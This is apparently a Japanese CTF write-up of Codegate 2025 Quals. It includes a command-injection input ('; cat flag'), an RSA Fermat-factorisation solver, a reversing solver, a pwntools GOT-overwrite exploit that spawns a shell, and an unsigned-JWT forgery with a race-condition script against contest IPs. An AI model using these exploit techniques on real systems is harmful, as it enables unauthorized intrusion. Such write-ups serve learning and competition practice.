Codegate 2025 Quals のJunior部門で参加して、26位でした。
20位から韓国参加なのでとても悲しいです。
ラスト二分前にTokenRushがTOCTOUだってことに気づいて急いだんですが、間に合わなくてほんとに残念。まぁそれ正解しても21位なんですけどね。

Solve数はJunior部門での数です。
Hello Codegate 106solve
Discordのnoticeチャンネルにフラグがあった。
Ping Tester 102solve
app.py
from flask import Flask, request, render_template
import subprocess
app = Flask(__name__)
@app.route('/', methods=['GET'])
def execute():
return render_template('index.html')
@app.route('/ping', methods=['GET'])
def ping():
ip = request.args.get('ip')
if ip:
result = subprocess.run(f"ping -c 3 {ip}", shell=True, capture_output=True, text=True)
return render_template('ping.html', result=result.stdout)
else:
return render_template('ping.html', message="Please provide IP address.")
if __name__ == '__main__':
app.run('0.0.0.0', port=5000, debug=True)
簡単なOSコマンドインジェクションですね。
同一フォルダにflagファイルがあったので ; cat flag でフラグを得られました。

Captcha World 94solve
ただ一分以内に、表示された文字を入力するだけでした。
Encrypted flag 92solve
prob.py
from Crypto.Util.number import bytes_to_long, getPrime
from sympy import nextprime
import gmpy2
p = getPrime(512)
q = nextprime(p)
n = p * q
e = 65537
flag = "codegate2025{FAKE_FLAG}"
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = bytes_to_long(flag.encode())
c = pow(m, e, n)
print(f"n: {n}")
print(f"e: {e}")
print("Encrypted flag:", c)
output.txt
n : 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559
e : 65537
Encrypted flag : 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159
qがnextprime(p)で近接しているよねという典型的な問題です。
Fermat の因数分解でpとqを求めて終わりです。
from Crypto.Util.number import long_to_bytes
import gmpy2
n = 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559
e = 65537
c = 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159
def fermat_factorization(n):
a = gmpy2.isqrt(n)
b2 = a*a - n
while not gmpy2.is_square(b2):
a += 1
b2 = a*a - n
b = gmpy2.isqrt(b2)
p = a - b
q = a + b
return int(p), int(q)
p, q = fermat_factorization(n)
assert p * q == n, "Factorization failed"
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)

initial 57solve
バイナリが与えられるので、Ghidraで逆コンパイルすると、興味深い関数が二つあります。
FUN_001011f8
undefined8 FUN_001011f8(void)
{
byte bVar1;
size_t sVar2;
undefined8 uVar3;
long in_FS_OFFSET;
int local_44;
uint local_40;
int local_3c;
byte local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__isoc99_scanf(&DAT_00102004,local_38);
sVar2 = strlen((char *)local_38);
if (sVar2 == 0x20) {
for (local_44 = 0; local_44 < 0x1f; local_44 = local_44 + 1) {
local_38[local_44] = local_38[local_44] ^ local_38[local_44 + 1];
}
local_38[31] = local_38[0] ^ local_38[31];
for (local_40 = 0; (int)local_40 < 0x20; local_40 = local_40 + 1) {
bVar1 = FUN_001011a9((&DAT_00104020)[(int)(uint)local_38[(int)local_40]],local_40 & 6);
local_38[(int)local_40] = bVar1;
}
for (local_3c = 0; local_3c < 0x20; local_3c = local_3c + 1) {
if (local_38[local_3c] != (&DAT_00104120)[local_3c]) {
puts("Wrong!");
uVar3 = 0;
goto LAB_00101341;
}
}
puts("Correct!");
uVar3 = 0;
}
else {
puts("Wrong length");
uVar3 = 1;
}
LAB_00101341:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
FUN_001011a9
uint FUN_001011a9(byte param_1,byte param_2)
{
return ((int)(uint)param_1 >> (param_2 & 0x1f) | (uint)param_1 << (8 - param_2 & 0x1f)) & 0xff;
}
適当に入力してもWrongになるのでCorrect!になるときの文字列がフラグになる系の問題でしょう。
あとはDAT_00104020やDAT_00104120を参照しながら気合でreversingしていきます。
def rol(val, r):
# FUN_001011a9の逆
r = r % 8
return ((val << r) & 0xff) | (val >> (8 - r))
# Table1: DAT_00104020
table1 = [
0x45,0xb8,0x1a,0x80,0x47,0xcb,0xd6,0x19,0x1d,0x58,0x56,0xe2,0x36,0xe4,0x27,0x65,
0xb1,0x73,0xe9,0x5c,0x7e,0x42,0x7c,0xde,0x71,0x61,0xf6,0x48,0xf5,0x22,0x57,0x1b,
0xaf,0xdb,0x8d,0x8b,0xc0,0x2b,0xd4,0xa1,0xcc,0xf2,0xeb,0xbe,0x37,0x38,0xd9,0x1e,
0x63,0xe3,0x4d,0x94,0x13,0xba,0x9c,0x86,0x10,0x35,0xfc,0x4f,0xd7,0xd3,0x7b,0x3a,
0xc9,0x8f,0xd0,0x24,0xf1,0x05,0x2c,0x53,0x5e,0x8c,0x96,0x3d,0xa6,0xa4,0x6e,0xcf,
0x5b,0x6d,0x04,0xed,0x12,0x7a,0x17,0x25,0x34,0xdc,0xad,0xe1,0x20,0x91,0x75,0x06,
0xc4,0x74,0x6f,0x78,0x00,0x6c,0xc2,0xab,0xa9,0x9f,0xb0,0x16,0x33,0x90,0xcd,0xb2,
0x3c,0xaa,0x9b,0x51,0x4e,0x3f,0x1c,0x50,0xfa,0x18,0xe8,0xb4,0x54,0xb9,0x3b,0x49,
0xf9,0xb6,0x99,0x9d,0x7d,0x0e,0x66,0xef,0xff,0x15,0x97,0x55,0x0f,0xf8,0x21,0x2e,
0x83,0xf3,0x95,0x0a,0xa8,0xbc,0x5d,0xb5,0x32,0xfd,0xf7,0xd8,0x26,0x89,0x64,0x2f,
0xa7,0xca,0x0d,0xec,0xc3,0xfb,0xac,0xb7,0x09,0xee,0x84,0x92,0x79,0x01,0x07,0xa2,
0x77,0x4a,0x02,0x60,0x39,0xa0,0x93,0xbd,0x88,0xc6,0xe5,0xe7,0xce,0x23,0xbb,0xdf,
0x85,0xc1,0x59,0xea,0xd2,0x9a,0xe6,0x31,0x14,0xfe,0xc5,0x44,0x11,0x87,0x67,0xd1,
0x4b,0xda,0x6a,0x52,0xbf,0x0b,0xf4,0x5a,0x8a,0x08,0x28,0xa3,0x7f,0x30,0x70,0x9e,
0x2d,0x0c,0x82,0xae,0x40,0x68,0x43,0x76,0xe0,0x3e,0x8e,0x2a,0x4c,0xa5,0xd5,0x69,
0x72,0xc8,0x81,0x6b,0x46,0xc7,0xb3,0x1f,0x5f,0x98,0x29,0xf0,0x62,0x03,0xdd,0x41
]
# Table2: DAT_00104120
table2 = [
0x36, 0xe2, 0x2e, 0x86, 0x6d, 0x24, 0xcd, 0x94,
0x1a, 0x1a, 0x46, 0x9b, 0x49, 0x83, 0x61, 0x15,
0x20, 0xb2, 0x47, 0xea, 0x0d, 0x42, 0xe9, 0x3d,
0xe4, 0x74, 0x1b, 0x16, 0x8b, 0x54, 0x2e, 0xaa
]
inv_table1 = [0]*256
for i, val in enumerate(table1):
inv_table1[val] = i
t = [0]*32
for i in range(32):
shift = i & 6
rotated_val = rol(table2[i], shift)
t[i] = inv_table1[rotated_val]
a = [0]*32
xor_val = 0
for i in range(1, 31):
xor_val ^= t[i]
a[0] = t[31] ^ xor_val
for i in range(31):
a[i+1] = a[i] ^ t[i]
flag_bytes = bytes(a)
flag = flag_bytes.decode('utf-8', errors='replace')
print(flag)

SafePythonExecutor 15solve
これ解けた時に5solveくらいでだれもやってなさそうなので温存してたらよかった。
executor.py
import ast
from RestrictedPython import Eval
from RestrictedPython import Guards
from RestrictedPython import safe_globals
from RestrictedPython import compile_restricted, utility_builtins
TARGET_EXEC = "code"
class SafePythonExecutor:
policy_globals = {**safe_globals, **utility_builtins}
def __init__(self):
self.policy_globals["__builtins__"]["__metaclass__"] = type
self.policy_globals["__builtins__"]["__name__"] = type
self.policy_globals["__builtins__"]["__import__"] = self.import_disallowed
self.policy_globals["_getattr_"] = Guards.safer_getattr
self.policy_globals["_getiter_"] = Eval.default_guarded_getiter
self.policy_globals["_getitem_"] = Eval.default_guarded_getitem
self.policy_globals["_write_"] = Guards.full_write_guard
self.policy_globals["_iter_unpack_sequence_"] = Guards.guarded_iter_unpack_sequence
self.policy_globals["_unpack_sequence_"] = Guards.guarded_unpack_sequence
self.policy_globals["enumerate"] = enumerate
def import_disallowed(name, *args, **kwargs):
raise ImportError(f"Importing {name} is not allowed")
def check_for_yield(self, code):
"""Check if the code contains a yield statement"""
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Yield):
raise SyntaxError("Yield statement is not allowed")
return code
def execute_untrusted_code(self, code):
code = self.check_for_yield(code)
byte_code = compile_restricted(code, filename="<untrusted code>", mode="exec")
result_local = {}
exec(byte_code, self.policy_globals, result_local)
print("Code executed successfully")
if TARGET_EXEC not in result_local:
raise ValueError(f"No '{TARGET_EXEC}' function found in the code")
return result_local[TARGET_EXEC]()
if __name__ == "__main__":
e = SafePythonExecutor()
e.execute_untrusted_code(input("Enter your code: "))
pyjailだ…
いろいろ試してみるが何もできない。
pyjailの問題はネット上にたくさん転がっているのでこの問題は何が禁止されているかを確認する。
特徴的だなと感じたのはpolicy_globals = {**safe_globals, **utility_builtins}の部分だったので、pyjail sage_globalsとかで検索すると、次の記事を見つけた。
uiuctfで似たような問題が出ていたらしいです。
そしてこのサイトにある。最終的なexploitコードを実行すると、なんとシェルを取得できました。

What’s Happening? 27solve
問題文
My program is supposed to calculate the scale values of celestial bodies in the solar system… But what on earth is happening in my code?!
翻訳:私のプログラムは、太陽系の天体のスケール値を計算することになっている。しかし、私のコードではいったい何が起こっているのだろう?
Ghidraさんによるとバイナリは次のようでした。
void main(EVP_PKEY_CTX *param_1)
{
ulong uVar1;
char *pcVar2;
long in_FS_OFFSET;
undefined8 local_70;
undefined1 *local_68;
char *local_60;
char local_58 [32];
undefined local_38 [20];
undefined auStack_24 [4];
undefined8 local_20;
local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
init(param_1);
local_68 = objects;
init_solar_system(objects);
puts("Planet Distance Calculator v1.0");
while( true ) {
menu();
uVar1 = prompt();
if (uVar1 == 3) break;
if (uVar1 < 4) {
if (uVar1 == 1) {
printf("Enter planet index to update (0-12): ");
__isoc99_scanf(&DAT_0040216e,&local_70);
printf("Enter planet name: ");
getchar();
pcVar2 = fgets(local_58,0x20,stdin);
if ((pcVar2 != (char *)0x0) && (local_60 = strchr(local_58,10), local_60 != (char *)0x0)) {
*local_60 = '\0';
}
printf("Enter AU value: ");
__isoc99_scanf(&DAT_00402197,local_38);
printf("Enter color (0-10): ");
__isoc99_scanf(&DAT_004021b0,auStack_24);
update(local_68,local_70);
}
else if (uVar1 == 2) {
print_solar_system(local_68);
}
}
}
/* WARNING: Subroutine does not return */
_exit(0);
}
void update(long param_1,long param_2)
{
if ((0xd < param_2) && (param_2 < 0)) {
FUN_004011e0("Failed to update solar system",1,0x1d,stderr);
/* WARNING: Subroutine does not return */
_exit(1);
}
memcpy((void *)(param_1 + param_2 * 0x38),&stack0x00000008,0x38);
return;
}
void win(void)
{
system("/bin/sh");
return;
}
注目すべきはif ((0xd < param_2) && (param_2 < 0)) {です。この下にエラー処理があるのですが、よくよく見てみるとなにも防げていません。if ((0xd < param_2) || (param_2 < 0)) { 本当はこうしないといけません。
というわけでparam_2に任意の数字が入れることができるわけですが、何ができるでしょうか?
目標はwin関数に行くことです。
結論は、GOT overwriteです。memcpyのところで、param_1 + param_2 * 0x38を、どこかのGOTのアドレスに向けて、&stack0x00000008にwin関数のアドレスを入れれば遷移できます。
まずはgotのアドレス探しです。まずprintfのgotアドレスでやってみました。param1はobjectsという変数なのでgdbで調べられて、0x4040c0でした。

なので、(param1 + param2 * 0x38) = printfGOTにするためにはparam2 = (0x404038 - 0x4040c0) / 0x38を計算します。
しかし、これは -17/7と割り切れません。いろいろ試すと、putsのGOTアドレスが0x404018で(0x404018 - 0x4040c0) / 0x38 = -3とちょうどいい感じでした。
あとは&stack0x00000008にwinのアドレスを入れるだけなので&stack0x00000008はどういう値なのかを調べるとplanet nameが&stack0x00000008に入っていました。
なのであとはplanet nameを入力するときにp64(win_addr)するだけだとやってみたのですが、
gdb-peda$ bt
#0 0x0000000000000000 in ?? ()
#1 0x00000000004018cb in win ()
#2 0x000000000040182f in menu ()
#3 0x000000000040192b in main ()
#4 0x00007faeffa25d68 in __libc_start_call_main
のように、なぞの0x00000が混じっています。
これはmemcpyが0x38バイト分読み取っているため、スタックの次の値も読み込んでしまっているからです。
なので、元の状態のputsのgotを参照したりしながらexploitコードを書いていきます。適当にやると、putsのすぐ後ろにsystemのgotもあったりしたので慎重にやりました。
solver↓
from pwn import *
context.arch = 'amd64'
# p = process('./prob')
p = remote("3.37.174.221" ,33333)
p.recvuntil(b">")
p.sendline(b"1")
p.recvuntil(b"Enter planet index to update (0-12): ")
p.sendline(b"-3")
# 3 つの入力フィールドで 56 バイトのペイロードを送信する
# ペイロード全体を 56 バイトとして構築
payload = p64(0x4018b4) # [0:8] : puts@got (win 関数アドレス)
payload += p64(0x401070) # [8:16] : puts@got の続
payload += p64(0x401080) # [16:24]: system@got 下位部(元の値)
payload += p64(0x00007ffff7f17000) # [24:32]: system@got 上位部(元の値)
payload += p64(0) # [32:40]: printf@got, 1/2
payload += p64(0) # [40:48]: printf@got, 2/2
payload += p64(0) # [48:56]: getchar@got
# 確認: payload の長さは 56 バイト
assert len(payload) == 56
p.recvuntil(b"Enter planet name: ")
p.send(payload[:32])
p.recvuntil(b"Enter AU value: ")
p.send(payload[32:52])
p.recvuntil(b"Enter color (0-10): ")
p.send(payload[52:56])
p.interactive()
TokenRush 17solve (upsolve)
index.js
const express = require("express");
const cookieParser = require("cookie-parser");
const crypto = require('node:crypto');
const fs = require("fs");
const path = require("path");
const b64Lib = require("base64-arraybuffer");
const flag = "codegate2025{FAKE_FLAG}";
const PrivateKey = `FAKE_PRIVATE_KEY`;
const PublicKey = `63c9b8f6cc06d91f1786aa3399120957f2f4565892a6763a266d54146e6d4af9`;
const tokenDir = path.join(__dirname, "token");
const app = express();
app.use(express.json());
app.use(cookieParser());
app.set("view engine", "ejs");
Object.freeze(Object.prototype);
fs.promises.mkdir(tokenDir, { recursive: true });
let db = {
admin: { uid: "87c869e7295663f2c0251fc31150d0e3",
pw: crypto.randomBytes(32).toString('hex'),
name: "administrator"
}
};
let temporaryFileName = path.join(tokenDir, crypto.randomBytes(32).toString('hex'));
const gen_hash = async () => {
let data = "";
for (var i = 0; i < 1234; i++) {
data += crypto.randomBytes(1234).toString('hex')[0];
}
const hash = crypto.createHash('sha256').update(data);
return hash.digest('hex').slice(0, 32);
};
const gen_JWT = async (alg, userId, key) => {
const strEncoder = new TextEncoder();
let headerData = urlsafe(b64Lib.encode(strEncoder.encode(JSON.stringify({ alg: alg, typ: "JWT" }))));
let payload = urlsafe(b64Lib.encode(strEncoder.encode(JSON.stringify({ uid: userId }))));
if (alg == "ES256") {
let baseKey = await crypto.subtle.importKey("pkcs8", b64Lib.decode(key), { name: "ECDSA", namedCurve: "P-256" }, true, ["sign"]);
let sig = await crypto.subtle.sign({ name: "ECDSA", hash: "SHA-256" }, baseKey, new TextEncoder().encode(`${headerData}.${payload}`));
return `${headerData}.${payload}.${urlsafe(b64Lib.encode(new Uint8Array(sig)))}`;
}
};
const read_JWT = async (token) => {
const decoder = new TextDecoder();
let payload = token.split(".")[1];
return JSON.parse(decoder.decode(b64Lib.decode(decodeurlsafe(payload))).replaceAll('\x00', ''));
};
const urlsafe = (base) => base.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
const decodeurlsafe = (dat) => dat.replace(/-/g, "+").replace(/_/g, "/");
app.post('/', () => {});
app.post("/sign_in", async (req, res) => {
try {
const { id, pw } = req.body;
if (!db[id] || db[id]["pw"] !== pw) {
res.json({ message: "Invalid credentials" });
return;
}
let token = await gen_JWT("ES256", db[id]["uid"], PrivateKey);
res.cookie("check", token, { maxAge: 100 }).json({ message: "Success" });
} catch (a) {
res.json({ message: "Failed" });
}
});
app.post("/sign_up", async (req, res) => {
try {
const { id, data } = req.body;
if (id.toLowerCase() === "administrator" || db[id]) {
res.json({ message: "Unallowed key" });
return;
}
db[id] = { ...data, uid: crypto.randomBytes(32).toString('hex') };
res.json({ message: "Success" });
} catch (a) {
res.json({ message: "Failed" });
}
});
app.post("/2fa", async (req, res) => {
try {
const token = req.cookies.check ?? "";
const data = await read_JWT(token, PublicKey);
if (db.admin.uid !== data.uid) {
res.json({ message: "Permission denied" });
return;
}
let rand_data = await gen_hash();
await fs.promises.writeFile(temporaryFileName, rand_data);
console.log(temporaryFileName);
res.json({ message: rand_data });
} catch (a) {
res.json({ message: "Unauthorized" });
}
});
app.post("/auth", async (req, res) => {
try {
const token = req.cookies.check ?? "";
const data = await read_JWT(token, PublicKey);
if (db.admin.uid !== data.uid) {
res.json({ message: "Permission denied" });
return;
}
const { data: input } = req.body;
const storedData = await fs.promises.readFile(temporaryFileName, "utf-8");
if (input === storedData) {
res.json({ flag });
} else {
res.json({ message: "Token Error" });
}
} catch (a) {
res.json({ message: "Internal Error" });
}
});
app.post("/data", (req, res) => {
res.status(req.body.auth_key ? 200 : 400).send(req.body.auth_key ? 'Success' : 'Failed');
});
app.listen(1234);
index.jsのほかにもpackage.jsonとかがあったが特にバージョンに脆弱性はありませんでした。
まず気になったのがgen_hash関数で、なぜか普通にcrypto.randomBytes(1234).toString(‘hex’)でいいと思うのに、回りくどいことをしています。
ランダム性がなかったりするのか?と実験したがそんなことはなかったです。
結果的に何も関係なかった。
const gen_hash = async () => {
let data = "";
for (var i = 0; i < 1234; i++) {
data += crypto.randomBytes(1234).toString('hex')[0];
}
const hash = crypto.createHash('sha256').update(data);
return hash.digest('hex').slice(0, 32);
};
そして、gen_JWTとかでECDSAとか使っててややこしいな~と思っていましたが、read_JWTは署名検証とか全くしていないので、uidをadminにしたら権限の認証は突破できました。
payload = {"uid": "87c869e7295663f2c0251fc31150d0e3"}
token = jwt.encode(payload, key=None, algorithm="none")
しかし、肝心なフラグを取得するには、一時ファイルに保存されている先ほどのgen_hashで生成されたハッシュを当てないといけません。
const { data: input } = req.body;
const storedData = await fs.promises.readFile(temporaryFileName, "utf-8");
if (input === storedData) {
res.json({ flag });
} else {
初めのほうにObject.freeze(Object.prototype);が設定されているので、プロトタイプ汚染もできません。
ここで、ちょうど最近名前が面白くて覚えていたTOCTOUみたいなのがあったな~とこういう感じの問題だったきがしたので調べてみます。
しかし、肝心のその名前を度忘れして、調べることができずあきらめてほかの問題にいきました…

問題終了直前にこの問題だけがいけそうだったので頑張っていたのですが、二分前くらいにぴかーっと思い出したのですが時すでに遅しで絶望しました。
solver↓ 何回か回していたらフラグが現れます。
import jwt
from requests import *
import threading
def fa():
for _ in range(30):
res = post('http://15.165.43.224:1234/2fa',cookies={'check':token})
print(res.text)
def auth():
for _ in range(30):
res = post('http://15.165.43.224:1234/auth',cookies={'check': token},json={'data': ''})
print(res.text)
payload = {"uid": "87c869e7295663f2c0251fc31150d0e3"}
token = jwt.encode(payload, key=None, algorithm="none")
threading.Thread(target=fa).start()
threading.Thread(target=auth).start()
感想
まったく歯が立たないかなと思っていたのですが、一時期16位くらいまで上がったりしてて、なんやかんや戦えたのでよかったです。
来年は韓国イクゾー!